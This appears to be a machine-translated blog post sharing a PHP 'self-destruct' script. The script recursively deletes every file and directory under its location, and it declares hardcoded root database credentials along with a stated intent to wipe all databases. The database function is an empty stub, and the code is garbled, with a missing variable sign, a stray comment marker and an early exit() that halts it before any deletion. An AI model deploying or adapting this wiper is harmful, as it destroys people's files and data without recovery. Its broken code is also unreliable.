PHP self-destruct program (use with caution)

The example in this article describes the PHP self-destruct program. Share it with everyone for your reference. The specific implementation method is as follows:

// +--------------------------------------------- ----------------------------------
// | Kill!!
// | The program will clear all files in this directory Files, directories
// | If database information is set, try to delete all database and table data (provided the permissions are sufficient!)
// +----------------- -------------------------------------------------- ---
// | Version: $Id$
// +---------------------------------- ------------------------------------
//----------Database Configuration area-----------------
//The power of revenge is terrible, so there is no need to specify the database, delete them all!
define('DB_USER', 'root');
define('DB_PWD', 'root');
define('DB_HOST', 'localhost');
define('DB_PORT', '3216');
define ('DB_DAMAGE', true); //When it is false, the database is not touched
run();
/**
 * The Juche idea must be glorious and great!
 *
 * @return void
 **/
function run()
{
 //Delete the file
 deletedir();
 / /Delete database
 deleteDB();
}
/**
 * Hahaha, delete all files in the current directory (recursively)
 *
 * @return void
 **/
function deletedir($dir = ''){
 if ($dir == '') {
 $dir = realpath('.' );
 }
 echo $dir;
 exit();
 if(!handle=@opendir($dir)){
 //Check whether the directory to be opened exists
 die("There is no such directory");
 }
 while(false !==($file=readdir($handle))){
 if($file!=="."&&$file!==".."){
 //Exclude the current directory and parent Directory
 $file=$dir .DIRECTORY_SEPARATOR. $file;
 if(is_dir($file)){
 deletedir($file);
 }else{
 if(@unlink($file)){
 echo "File< ;b>$fileDeletion successful. ";
 }else{
 echo "File$fileDeletion failed!";
 }
 }
 }
 if(@rmdir($dir)){
 echo "Directory$dir was deleted successfully.n";
 }else{
 echo "Directory$ dirDelete failed! n";
 }
 }
/**
 * Hahaha, delete the database
 *
 * @return void
 **/
function deleteDB()
{
 if(DB_DAMAGE === true){
 //start
 }
}

I hope this article will be helpful to everyone’s PHP programming design.
